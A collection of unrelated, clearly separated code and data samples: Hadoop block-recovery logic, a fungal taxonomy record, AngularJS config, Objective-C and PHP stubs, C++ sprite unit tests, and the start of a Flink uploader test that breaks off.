import org.apache.hadoop.hdfs.server.common.HdfsServerConstants.ReplicaState;
import org.apache.hadoop.hdfs.server.namenode.NameNode;

/**
 * Represents a block that is currently being constructed.<br>
 * This is usually the last block of a file opened for write or append.
 */
public class BlockUnderConstructionFeature {
  /** Block state. See {@link BlockUCState} */
  private BlockUCState blockUCState;

  /**
   * Block replicas as assigned when the block was allocated.
   * This defines the pipeline order.
   */
  private List<ReplicaUnderConstruction> replicas;

  /**
   * Index of the primary data node doing the recovery. Useful for log
   * messages.
   */
  private int primaryNodeIndex = -1;

  /**
   * The new generation stamp, which this block will have
   * after the recovery succeeds. Also used as a recovery id to identify
   * the right recovery if any of the abandoned recoveries re-appear.
   */
  private long blockRecoveryId = 0;

  /**
   * The block source to use in the event of copy-on-write truncate.
   */
  private Block truncateBlock;

  /**
   * ReplicaUnderConstruction contains information about replicas while
   * they are under construction.
   * The GS, the length and the state of the replica is as reported by
   * the data-node.
   * It is not guaranteed, but expected, that data-nodes actually have
   * corresponding replicas.
   */
  static class ReplicaUnderConstruction {
    private long generationStamp;
    private final DatanodeStorageInfo expectedLocation;
    private ReplicaState state;
    private boolean chosenAsPrimary;

    ReplicaUnderConstruction(long generationStamp, DatanodeStorageInfo target,
        ReplicaState state) {
      this.generationStamp = generationStamp;
      this.expectedLocation = target;
      this.state = state;
      this.chosenAsPrimary = false;
    }

    long getGenerationStamp() {
      return this.generationStamp;
    }

    void setGenerationStamp(long generationStamp) {
      this.generationStamp = generationStamp;
    }

    /**
     * Expected block replica location as assigned when the block was allocated.
     * This defines the pipeline order.
     * It is not guaranteed, but expected, that the data-node actually has
     * the replica.
     */
    DatanodeStorageInfo getExpectedStorageLocation() {
      return expectedLocation;
    }

    /**
     * Get replica state as reported by the data-node.
     */
    ReplicaState getState() {
      return state;
    }

    /**
     * Whether the replica was chosen for recovery.
     */
    boolean getChosenAsPrimary() {
      return chosenAsPrimary;
    }

    /**
     * Set replica state.
     */
    void setState(ReplicaState s) {
      state = s;
    }

    /**
     * Set whether this replica was chosen for recovery.
     */
    void setChosenAsPrimary(boolean chosenAsPrimary) {
      this.chosenAsPrimary = chosenAsPrimary;
    }

    /**
     * Is data-node the replica belongs to alive.
     */
    boolean isAlive() {
      return expectedLocation.getDatanodeDescriptor().isAlive;
    }

    @Override
    public String toString() {
      final StringBuilder b = new StringBuilder(50)
          .append("ReplicaUC[")
          .append(expectedLocation)
          .append("|")
          .append(state)
          .append("]");
      return b.toString();
    }
  }

  /**
   * Create a block that is currently being constructed.
   */
  public BlockUnderConstructionFeature(Block block, BlockUCState state,
      DatanodeStorageInfo[] targets) {
    assert getBlockUCState() != BlockUCState.COMPLETE :
      "BlockUnderConstructionFeature cannot be in COMPLETE state";
    this.blockUCState = state;
    setExpectedLocations(block.getGenerationStamp(), targets);
  }

  /** Set expected locations */
  public void setExpectedLocations(long generationStamp,
      DatanodeStorageInfo[] targets) {
    int numLocations = targets == null ? 0 : targets.length;
    this.replicas = new ArrayList<>(numLocations);
    for(int i = 0; i < numLocations; i++) {
      replicas.add(new ReplicaUnderConstruction(generationStamp, targets[i],
          ReplicaState.RBW));
    }
  }

  /**
   * Create array of expected replica locations
   * (as has been assigned by chooseTargets()).
   */
  public DatanodeStorageInfo[] getExpectedStorageLocations() {
    int numLocations = replicas == null ? 0 : replicas.size();
    DatanodeStorageInfo[] storages = new DatanodeStorageInfo[numLocations];
    for (int i = 0; i < numLocations; i++) {
      storages[i] = replicas.get(i).getExpectedStorageLocation();
    }
    return storages;
  }

  /** Get the number of expected locations */
  public int getNumExpectedLocations() {
    return replicas == null ? 0 : replicas.size();
  }

  /**
   * Return the state of the block under construction.
   * @see BlockUCState
   */
  public BlockUCState getBlockUCState() {
    return blockUCState;
  }

  void setBlockUCState(BlockUCState s) {
    blockUCState = s;
  }

  /** Get block recovery ID */
  public long getBlockRecoveryId() {
    return blockRecoveryId;
  }

  /** Get recover block */
  public Block getTruncateBlock() {
    return truncateBlock;
  }

  public void setTruncateBlock(Block recoveryBlock) {
    this.truncateBlock = recoveryBlock;
  }

  /**
   * Set {@link #blockUCState} to {@link BlockUCState#COMMITTED}.
   */
  void commit() {
    blockUCState = BlockUCState.COMMITTED;
  }

  List<ReplicaUnderConstruction> getStaleReplicas(long genStamp) {
    List<ReplicaUnderConstruction> staleReplicas = new ArrayList<>();
    if (replicas != null) {
      // Remove replicas with wrong gen stamp. The replica list is unchanged.
      for (ReplicaUnderConstruction r : replicas) {
        if (genStamp != r.getGenerationStamp()) {
          staleReplicas.add(r);
        }
      }
    }
    return staleReplicas;
  }

  /**
   * Initialize lease recovery for this block.
   * Find the first alive data-node starting from the previous primary and
   * make it primary.
   */
  public void initializeBlockRecovery(BlockInfo block, long recoveryId) {
    setBlockUCState(BlockUCState.UNDER_RECOVERY);
    blockRecoveryId = recoveryId;
    if (replicas.size() == 0) {
      NameNode.blockStateChangeLog.warn("BLOCK*"
        + " BlockUnderConstructionFeature.initLeaseRecovery:"
        + " No blocks found, lease removed.");
    }
    boolean allLiveReplicasTriedAsPrimary = true;
    for (ReplicaUnderConstruction replica : replicas) {
      // Check if all replicas have been tried or not.
      if (replica.isAlive()) {
        allLiveReplicasTriedAsPrimary = allLiveReplicasTriedAsPrimary
            && replica.getChosenAsPrimary();
      }
    }
    if (allLiveReplicasTriedAsPrimary) {
      // Just set all the replicas to be chosen whether they are alive or not.
      for (ReplicaUnderConstruction replica : replicas) {
        replica.setChosenAsPrimary(false);
      }
    }
    long mostRecentLastUpdate = 0;
    ReplicaUnderConstruction primary = null;
    primaryNodeIndex = -1;
    for(int i = 0; i < replicas.size(); i++) {
      // Skip alive replicas which have been chosen for recovery.
      if (!(replicas.get(i).isAlive() && !replicas.get(i).getChosenAsPrimary())) {
        continue;
      }
      final ReplicaUnderConstruction ruc = replicas.get(i);
      final long lastUpdate = ruc.getExpectedStorageLocation()
          .getDatanodeDescriptor().getLastUpdateMonotonic();
      if (lastUpdate > mostRecentLastUpdate) {
        primaryNodeIndex = i;
        primary = ruc;
        mostRecentLastUpdate = lastUpdate;
      }
    }
    if (primary != null) {
      primary.getExpectedStorageLocation().getDatanodeDescriptor()
          .addBlockToBeRecovered(block);
      primary.setChosenAsPrimary(true);
      NameNode.blockStateChangeLog.debug(
          "BLOCK* {} recovery started, primary={}", this, primary);
    }
  }

  void addReplicaIfNotPresent(DatanodeStorageInfo storage, Block block,
      ReplicaState rState) {
    Iterator<ReplicaUnderConstruction> it = replicas.iterator();
    while (it.hasNext()) {
      ReplicaUnderConstruction r = it.next();
      DatanodeStorageInfo expectedLocation = r.getExpectedStorageLocation();
      if (expectedLocation == storage) {
        // Record the gen stamp from the report
        r.setGenerationStamp(block.getGenerationStamp());
        return;
      } else if (expectedLocation != null &&
                 expectedLocation.getDatanodeDescriptor() ==
                     storage.getDatanodeDescriptor()) {
        // The Datanode reported that the block is on a different storage
        // than the one chosen by BlockPlacementPolicy. This can occur as
        // we allow Datanodes to choose the target storage. Update our
        // state by removing the stale entry and adding a new one.
        it.remove();
        break;
      }
    }
    replicas.add(new ReplicaUnderConstruction(block.getGenerationStamp(), storage, rState));
  }

  @Override
  public String toString() {
    final StringBuilder b = new StringBuilder(100);
    appendUCParts(b);
    return b.toString();
  }

  private void appendUCParts(StringBuilder sb) {
    sb.append("{UCState=").append(blockUCState)
      .append(", truncateBlock=").append(truncateBlock)
      .append(", primaryNodeIndex=").append(primaryNodeIndex)
      .append(", replicas=[");
    if (replicas != null) {
      Iterator<ReplicaUnderConstruction> iter = replicas.iterator();
      if (iter.hasNext()) {
        sb.append(iter.next());
        while (iter.hasNext()) {
          sb.append(", ");
          sb.append(iter.next());
        }
      }
    }
    sb.append("]}");
  }
}


text:
ACCEPTED

#### According to
Index Fungorum

#### Published in
null

#### Original name
Helotium nanum (Hedw.) Sacc.

### Remarks
null


text:
/*global angular*/
(function (angular) {
    'use strict';
    angular.module('trocado', [
        'ng', 'ngMaterial', 'ui.router',
        'trocado.constants', 'trocado.expenses', 'trocado.templates', 'trocado.services', 'trocado.providers',
        'account.endpoint', 'expense.endpoint', 'upload.endpoint'
    ]);

    angular.module('trocado').config(configTrocado);
    angular.module('trocado').run(runTrocado);

    function configTrocado($mdThemingProvider, ExpenseProvider, UploadProvider, RepeaterProvider) {
        $mdThemingProvider
            .theme('default')
            .primaryPalette('deep-purple')
            .accentPalette('pink')
            .backgroundPalette('grey');

        UploadProvider.apiRoot('/_ah/api/upload/v1/');
        ExpenseProvider.apiRoot('/_ah/api/expense/v1/');

        RepeaterProvider
            .maxPages(4)
            .pageSize(50)
            .debug(false);
    }

    function runTrocado($log) {
        $log.debug('Meus Trocados!');
    }

}(angular));


text:
@implementation ZZRefreshTip

+ (NSString *)randomRefreshTip {

    NSData *data       = [NSData dataNamed:@"SMZDMRefreshTips.geojson"];
    NSDictionary *dict = [NSJSONSerialization JSONObjectWithData:data options:0 error:NULL];
    NSArray *array     = dict[@"fresh_tips"];
    return [array randomObject];
}
@end


text:
using rainbow::Color;
using rainbow::Sprite;
using rainbow::SpriteRef;
using rainbow::SpriteVertex;
using rainbow::Vec2f;
using rainbow::graphics::TextureData;

namespace
{
    constexpr unsigned int kStaleBuffer     = 1U << 0;
    constexpr unsigned int kStalePosition   = 1U << 1;
    constexpr unsigned int kStaleTexture    = 1U << 2;
    //constexpr unsigned int kStaleNormalMap  = 1u << 3;
    constexpr unsigned int kStaleMask       = 0xffffU;

    auto is_stale(const Sprite& sprite)
    {
        return (sprite.state() & kStaleMask) != 0;
    }

    auto is_stale(const Sprite& sprite, unsigned int state)
    {
        return (sprite.state() & state) == state;
    }

    auto mock_texture() { return TextureData{{}, 64, 64}; }

    class SpriteFlipMirrorTest : public ::testing::Test
    {
    protected:
        Sprite sprite{2, 2};
        SpriteVertex vertex_array[4];
        unsigned int texture = 0;
        std::array<Vec2f, 4> p;
        std::array<Vec2f, 4> u;

        void update() { sprite.update(vertex_array, mock_texture()); }

        void SetUp() override
        {
            sprite.texture({0, 0, 1, 1});
            update();
            for (size_t i = 0; i < 4; ++i)
            {
                p[i] = vertex_array[i].position;
                u[i] = vertex_array[i].texcoord;
            }
        }
    };

    class SpriteHiddenTest : public ::testing::Test
    {
    protected:
        Sprite sprite{2, 2};
        SpriteVertex vertex_array[4];

        void update() { sprite.update(vertex_array, mock_texture()); }

        void SetUp() override { update(); }
    };
}  // namespace

TEST(SpriteTest, PlacedAtOriginOnCreation)
{
    Sprite sprite(2, 2);

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
    ASSERT_TRUE(sprite.position().is_zero());

    SpriteVertex vertex_array[4];
    sprite.update(vertex_array, mock_texture());

    ASSERT_FALSE(is_stale(sprite));
    ASSERT_EQ(vertex_array[0].position, Vec2f(-1, -1));
    ASSERT_EQ(vertex_array[1].position, Vec2f(1, -1));
    ASSERT_EQ(vertex_array[2].position, Vec2f(1, 1));
    ASSERT_EQ(vertex_array[3].position, Vec2f(-1, 1));
}

TEST(SpriteTest, CanBeColored)
{
    constexpr Color color(0xec, 0xef, 0xf1);
    Sprite sprite(2, 2);

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
    ASSERT_NE(sprite.color(), color);

    sprite.color(color);

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer | kStaleTexture));
    ASSERT_EQ(sprite.color(), color);

    SpriteVertex vertex_array[4];
    sprite.update(vertex_array, mock_texture());

    ASSERT_FALSE(is_stale(sprite));
    for (size_t i = 0; i < 4; ++i)
        ASSERT_EQ(vertex_array[i].color, color);
}

TEST(SpriteTest, CanBeTagged)
{
    Sprite sprite(2, 2);

    ASSERT_EQ(sprite.id(), Sprite::kNoId);

    const int tag = 0xdeadbeef;
    sprite.id(tag);

    ASSERT_EQ(sprite.id(), tag);
}

TEST(SpriteTest, ChangesPivotWithoutShifting)
{
    Sprite sprite(2, 2);

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
    ASSERT_EQ(sprite.pivot(), Vec2f(0.5F, 0.5F));

    SpriteVertex vertex_array[4];
    sprite.update(vertex_array, mock_texture());

    ASSERT_FALSE(is_stale(sprite));

    sprite.pivot(Vec2f::Zero);

    ASSERT_FALSE(is_stale(sprite));
    ASSERT_EQ(sprite.pivot(), Vec2f::Zero);
    ASSERT_EQ(sprite.position(), -Vec2f::One);
    ASSERT_EQ(vertex_array[0].position, Vec2f(-1, -1));
    ASSERT_EQ(vertex_array[1].position, Vec2f(1, -1));
    ASSERT_EQ(vertex_array[2].position, Vec2f(1, 1));
    ASSERT_EQ(vertex_array[3].position, Vec2f(-1, 1));

    sprite.position(Vec2f::Zero);

    ASSERT_TRUE(is_stale(sprite, kStalePosition));
    ASSERT_TRUE(sprite.position().is_zero());

    sprite.update(vertex_array, mock_texture());

    ASSERT_FALSE(is_stale(sprite));
    ASSERT_EQ(vertex_array[0].position, Vec2f(0, 0));
    ASSERT_EQ(vertex_array[1].position, Vec2f(2, 0));
    ASSERT_EQ(vertex_array[2].position, Vec2f(2, 2));
    ASSERT_EQ(vertex_array[3].position, Vec2f(0, 2));
}

TEST(SpriteTest, Translates)
{
    Sprite sprite(2, 2);
    sprite.position(Vec2f::One);

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer));

    SpriteVertex vertex_array[4];
    sprite.update(vertex_array, mock_texture());

    ASSERT_FALSE(is_stale(sprite));
    ASSERT_EQ(sprite.position(), Vec2f::One);
    ASSERT_EQ(vertex_array[0].position, Vec2f(0, 0));
    ASSERT_EQ(vertex_array[1].position, Vec2f(2, 0));
    ASSERT_EQ(vertex_array[2].position, Vec2f(2, 2));
    ASSERT_EQ(vertex_array[3].position, Vec2f(0, 2));

    sprite.move(-Vec2f::One);

    ASSERT_TRUE(is_stale(sprite, kStalePosition));
    ASSERT_TRUE(sprite.position().is_zero());
}

TEST(SpriteTest, Rotates)
{
    auto not_equal = std::not_fn(rainbow::are_equal<float>);

    Sprite sprite(4, 2);

    ASSERT_EQ(sprite.angle(), 0.0F);

    SpriteVertex vertex_array[4];
    for (int i = 0; i < 2; ++i)
    {
        const float scale = 1.0F + 0.5F * i;
        const float width = sprite.width() * scale;
        const float height = sprite.height() * scale;
        sprite.scale(scale);
        for (int deg = 0; deg <= 360; ++deg)
        {
            const float rad = rainbow::radians<float>(deg);
            sprite.angle(rad);

            ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
            ASSERT_EQ(sprite.angle(), rad);

            sprite.update(vertex_array, mock_texture());
            ASSERT_FALSE(is_stale(sprite));

            const std::array<Vec2f, 4> p{
                vertex_array[0].position,
                vertex_array[1].position,
                vertex_array[2].position,
                vertex_array[3].position,
            };

            if (deg == 0 || deg == 360)
                ASSERT_FLOAT_EQ(scale + scale, p[2].x);
            else
                ASSERT_PRED2(not_equal, p[2].x, scale + scale);
            ASSERT_EQ(p[0], -p[2]);
            ASSERT_EQ(p[1], -p[3]);
            ASSERT_FLOAT_EQ(width, p[0].distance(p[1]));
            ASSERT_FLOAT_EQ(height, p[1].distance(p[2]));
            ASSERT_FLOAT_EQ(width, p[2].distance(p[3]));
            ASSERT_FLOAT_EQ(height, p[3].distance(p[0]));
        }
    }

    sprite.angle(0.0F);
    sprite.scale(1.0F);
    sprite.update(vertex_array, mock_texture());

    const float width = sprite.width();
    const float height = sprite.height();

    float angle = 0;
    int i = 1;
    for (int deg = 1; deg <= 4; ++deg)
    {
        const float r = rainbow::radians<float>(deg * i);
        angle += r;
        sprite.rotate(r);

        ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
        ASSERT_FLOAT_EQ(angle, sprite.angle());

        sprite.update(vertex_array, mock_texture());
        ASSERT_FALSE(is_stale(sprite));

        const std::array<Vec2f, 4> p{
            vertex_array[0].position,
            vertex_array[1].position,
            vertex_array[2].position,
            vertex_array[3].position,
        };

        ASSERT_EQ(p[0], -p[2]);
        ASSERT_EQ(p[1], -p[3]);
        ASSERT_FLOAT_EQ(width, p[0].distance(p[1]));
        ASSERT_FLOAT_EQ(height, p[1].distance(p[2]));
        ASSERT_FLOAT_EQ(width, p[2].distance(p[3]));
        ASSERT_FLOAT_EQ(height, p[3].distance(p[0]));

        i *= -1;
    }
}

TEST(SpriteTest, Scales)
{
    Sprite sprite(2, 2);

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
    ASSERT_EQ(sprite.scale(), Vec2f::One);

    sprite.scale(2);

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
    ASSERT_EQ(sprite.scale(), Vec2f(2.0F, 2.0F));

    SpriteVertex vertex_array[4];
    sprite.update(vertex_array, mock_texture());

    ASSERT_FALSE(is_stale(sprite));
    ASSERT_EQ(vertex_array[0].position, Vec2f(-2, -2));
    ASSERT_EQ(vertex_array[1].position, Vec2f(2, -2));
    ASSERT_EQ(vertex_array[2].position, Vec2f(2, 2));
    ASSERT_EQ(vertex_array[3].position, Vec2f(-2, 2));

    sprite.scale(1);

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
    ASSERT_EQ(sprite.scale(), Vec2f::One);

    sprite.update(vertex_array, mock_texture());

    ASSERT_FALSE(is_stale(sprite));
    ASSERT_EQ(vertex_array[0].position, Vec2f(-1, -1));
    ASSERT_EQ(vertex_array[1].position, Vec2f(1, -1));
    ASSERT_EQ(vertex_array[2].position, Vec2f(1, 1));
    ASSERT_EQ(vertex_array[3].position, Vec2f(-1, 1));

    sprite.scale(Vec2f(1, 2));

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
    ASSERT_EQ(sprite.scale(), Vec2f(1.0F, 2.0F));

    sprite.update(vertex_array, mock_texture());

    ASSERT_FALSE(is_stale(sprite));
    ASSERT_EQ(vertex_array[0].position, Vec2f(-1, -2));
    ASSERT_EQ(vertex_array[1].position, Vec2f(1, -2));
    ASSERT_EQ(vertex_array[2].position, Vec2f(1, 2));
    ASSERT_EQ(vertex_array[3].position, Vec2f(-1, 2));
}

TEST_F(SpriteFlipMirrorTest, IsNotFlippedOrMirroredInitially)
{
    ASSERT_FALSE(sprite.is_flipped());
    ASSERT_FALSE(sprite.is_mirrored());
    ASSERT_FALSE(is_stale(sprite));

    update();

    ASSERT_FALSE(is_stale(sprite));
    for (int i = 0; i < 4; ++i)
    {
        ASSERT_EQ(vertex_array[i].position, p[i]);
        ASSERT_EQ(vertex_array[i].texcoord, u[i]);
    }
}

TEST_F(SpriteFlipMirrorTest, FlipsVertically)
{
    sprite.flip();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_TRUE(sprite.is_flipped());
    ASSERT_FALSE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
        ASSERT_EQ(vertex_array[i].position, p[i]);
    ASSERT_EQ(vertex_array[0].texcoord, u[3]);
    ASSERT_EQ(vertex_array[1].texcoord, u[2]);
    ASSERT_EQ(vertex_array[2].texcoord, u[1]);
    ASSERT_EQ(vertex_array[3].texcoord, u[0]);

    sprite.texture({0, 0, 1, 1});

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    ASSERT_EQ(vertex_array[0].texcoord, u[3]);
    ASSERT_EQ(vertex_array[1].texcoord, u[2]);
    ASSERT_EQ(vertex_array[2].texcoord, u[1]);
    ASSERT_EQ(vertex_array[3].texcoord, u[0]);

    sprite.flip();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_FALSE(sprite.is_flipped());
    ASSERT_FALSE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
    {
        ASSERT_EQ(vertex_array[i].position, p[i]);
        ASSERT_EQ(vertex_array[i].texcoord, u[i]);
    }
}

TEST_F(SpriteFlipMirrorTest, Mirrors)
{
    sprite.mirror();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_FALSE(sprite.is_flipped());
    ASSERT_TRUE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
        ASSERT_EQ(vertex_array[i].position, p[i]);
    ASSERT_EQ(vertex_array[0].texcoord, u[1]);
    ASSERT_EQ(vertex_array[1].texcoord, u[0]);
    ASSERT_EQ(vertex_array[2].texcoord, u[3]);
    ASSERT_EQ(vertex_array[3].texcoord, u[2]);

    sprite.texture({0, 0, 1, 1});
    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    ASSERT_EQ(vertex_array[0].texcoord, u[1]);
    ASSERT_EQ(vertex_array[1].texcoord, u[0]);
    ASSERT_EQ(vertex_array[2].texcoord, u[3]);
    ASSERT_EQ(vertex_array[3].texcoord, u[2]);

    sprite.mirror();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_FALSE(sprite.is_flipped());
    ASSERT_FALSE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
    {
        ASSERT_EQ(vertex_array[i].position, p[i]);
        ASSERT_EQ(vertex_array[i].texcoord, u[i]);
    }
}

TEST_F(SpriteFlipMirrorTest, FlipsAndMirrors)
{
    sprite.flip();
    sprite.mirror();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_TRUE(sprite.is_flipped());
    ASSERT_TRUE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
        ASSERT_EQ(vertex_array[i].position, p[i]);
    ASSERT_EQ(vertex_array[0].texcoord, u[2]);
    ASSERT_EQ(vertex_array[1].texcoord, u[3]);
    ASSERT_EQ(vertex_array[2].texcoord, u[0]);
    ASSERT_EQ(vertex_array[3].texcoord, u[1]);

    sprite.texture({0, 0, 1, 1});
    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    ASSERT_EQ(vertex_array[0].texcoord, u[2]);
    ASSERT_EQ(vertex_array[1].texcoord, u[3]);
    ASSERT_EQ(vertex_array[2].texcoord, u[0]);
    ASSERT_EQ(vertex_array[3].texcoord, u[1]);

    sprite.flip();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_FALSE(sprite.is_flipped());
    ASSERT_TRUE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
        ASSERT_EQ(vertex_array[i].position, p[i]);
    ASSERT_EQ(vertex_array[0].texcoord, u[1]);
    ASSERT_EQ(vertex_array[1].texcoord, u[0]);
    ASSERT_EQ(vertex_array[2].texcoord, u[3]);
    ASSERT_EQ(vertex_array[3].texcoord, u[2]);

    sprite.flip();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_TRUE(sprite.is_flipped());
    ASSERT_TRUE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
        ASSERT_EQ(vertex_array[i].position, p[i]);
    ASSERT_EQ(vertex_array[0].texcoord, u[2]);
    ASSERT_EQ(vertex_array[1].texcoord, u[3]);
    ASSERT_EQ(vertex_array[2].texcoord, u[0]);
    ASSERT_EQ(vertex_array[3].texcoord, u[1]);

    sprite.mirror();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_TRUE(sprite.is_flipped());
    ASSERT_FALSE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
        ASSERT_EQ(vertex_array[i].position, p[i]);
    ASSERT_EQ(vertex_array[0].texcoord, u[3]);
    ASSERT_EQ(vertex_array[1].texcoord, u[2]);
    ASSERT_EQ(vertex_array[2].texcoord, u[1]);
    ASSERT_EQ(vertex_array[3].texcoord, u[0]);

    sprite.flip();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_FALSE(sprite.is_flipped());
    ASSERT_FALSE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
    {
        ASSERT_EQ(vertex_array[i].position, p[i]);
        ASSERT_EQ(vertex_array[i].texcoord, u[i]);
    }

    sprite.mirror();
    sprite.flip();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_TRUE(sprite.is_flipped());
    ASSERT_TRUE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
        ASSERT_EQ(vertex_array[i].position, p[i]);
    ASSERT_EQ(vertex_array[0].texcoord, u[2]);
    ASSERT_EQ(vertex_array[1].texcoord, u[3]);
    ASSERT_EQ(vertex_array[2].texcoord, u[0]);
    ASSERT_EQ(vertex_array[3].texcoord, u[1]);

    sprite.mirror();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_TRUE(sprite.is_flipped());
    ASSERT_FALSE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
        ASSERT_EQ(vertex_array[i].position, p[i]);
    ASSERT_EQ(vertex_array[0].texcoord, u[3]);
    ASSERT_EQ(vertex_array[1].texcoord, u[2]);
    ASSERT_EQ(vertex_array[2].texcoord, u[1]);
    ASSERT_EQ(vertex_array[3].texcoord, u[0]);

    sprite.flip();

    ASSERT_TRUE(is_stale(sprite, kStaleTexture));
    ASSERT_FALSE(sprite.is_flipped());
    ASSERT_FALSE(sprite.is_mirrored());

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    for (int i = 0; i < 4; ++i)
    {
        ASSERT_EQ(vertex_array[i].position, p[i]);
        ASSERT_EQ(vertex_array[i].texcoord, u[i]);
    }
}

TEST_F(SpriteHiddenTest, IgnoresMultipleCalls)
{
    ASSERT_FALSE(sprite.is_hidden());

    sprite.hide();
    ASSERT_TRUE(sprite.is_hidden());
    sprite.hide();
    ASSERT_TRUE(sprite.is_hidden());

    sprite.show();
    ASSERT_FALSE(sprite.is_hidden());
    sprite.show();
    ASSERT_FALSE(sprite.is_hidden());
}

TEST_F(SpriteHiddenTest, RestoresHiddenSprites)
{
    sprite.hide();

    ASSERT_TRUE(is_stale(sprite, kStaleMask));

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    ASSERT_EQ(vertex_array[0].position, Vec2f::Zero);
    ASSERT_EQ(vertex_array[1].position, Vec2f::Zero);
    ASSERT_EQ(vertex_array[2].position, Vec2f::Zero);
    ASSERT_EQ(vertex_array[3].position, Vec2f::Zero);

    sprite.show();

    ASSERT_TRUE(is_stale(sprite, kStaleMask));

    update();

    ASSERT_FALSE(is_stale(sprite, kStaleMask));
    ASSERT_EQ(vertex_array[0].position, Vec2f(-1, -1));
    ASSERT_EQ(vertex_array[1].position, Vec2f(1, -1));
    ASSERT_EQ(vertex_array[2].position, Vec2f(1, 1));
    ASSERT_EQ(vertex_array[3].position, Vec2f(-1, 1));
}

TEST_F(SpriteHiddenTest, CanBeMoved)
{
    sprite.hide();
    sprite.position(Vec2f::One);
    update();

    ASSERT_EQ(vertex_array[0].position, Vec2f::Zero);
    ASSERT_EQ(vertex_array[1].position, Vec2f::Zero);
    ASSERT_EQ(vertex_array[2].position, Vec2f::Zero);
    ASSERT_EQ(vertex_array[3].position, Vec2f::Zero);

    sprite.show();

    ASSERT_TRUE(is_stale(sprite, kStaleMask));

    update();

    ASSERT_EQ(vertex_array[0].position, Vec2f(0, 0));
    ASSERT_EQ(vertex_array[1].position, Vec2f(2, 0));
    ASSERT_EQ(vertex_array[2].position, Vec2f(2, 2));
    ASSERT_EQ(vertex_array[3].position, Vec2f(0, 2));
}

TEST(SpriteTest, UpdatesOnlyOnChange)
{
    Sprite sprite(2, 2);
    SpriteVertex vertex_array[4];

    ASSERT_TRUE(is_stale(sprite, kStaleBuffer));
    ASSERT_TRUE(sprite.update(vertex_array, mock_texture()));
    ASSERT_FALSE(sprite.update(vertex_array, mock_texture()));

    sprite.move(Vec2f::Left);

    ASSERT_TRUE(is_stale(sprite, kStalePosition));
    ASSERT_TRUE(sprite.update(vertex_array, mock_texture()));
    ASSERT_FALSE(sprite.update(vertex_array, mock_texture()));
}

TEST(SpriteTest, ManuallyConstructedRefsAreInvalid)
{
    ASSERT_FALSE(SpriteRef{});
}


text:
<?php defined('SYSPATH') OR die('No direct script access.');

class Breadcrumbs extends Core_Breadcrumbs {}


text:
package org.apache.flink.changelog.fs;

import org.apache.flink.changelog.fs.StateChangeUploader.UploadTask;
import org.apache.flink.core.testutils.ManuallyTriggeredScheduledExecutorService;
import org.apache.flink.runtime.state.changelog.SequenceNumber;
import org.apache.flink.runtime.state.changelog.StateChange;
import org.apache.flink.runtime.testutils.DirectScheduledExecutorService;
import org.apache.flink.util.function.BiConsumerWithException;

import org.junit.Test;

import java.io.IOException;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Collection;
import java.util.List;
import java.util.Random;
import java.util.UUID;
import java.util.concurrent.CompletableFuture;
import java.util.concurrent.RejectedExecutionException;
import java.util.concurrent.ScheduledExecutorService;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.stream.Collectors;

import static java.util.Collections.emptyList;
import static java.util.Collections.singletonList;
import static java.util.concurrent.TimeUnit.MILLISECONDS;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertTrue;

/** {@link BatchingStateChangeUploader} test. */
public class BatchingStateChangeUploaderTest {

    private final Random random = new Random();

    @Test
    public void testNoDelayAndThreshold() throws Exception {
        withStore(
                0,
                0,
                (store, probe) -> {
                    List<StateChangeSet> changes1 = getChanges(4);
                    upload(store, changes1);
                    assertSaved(probe, changes1);
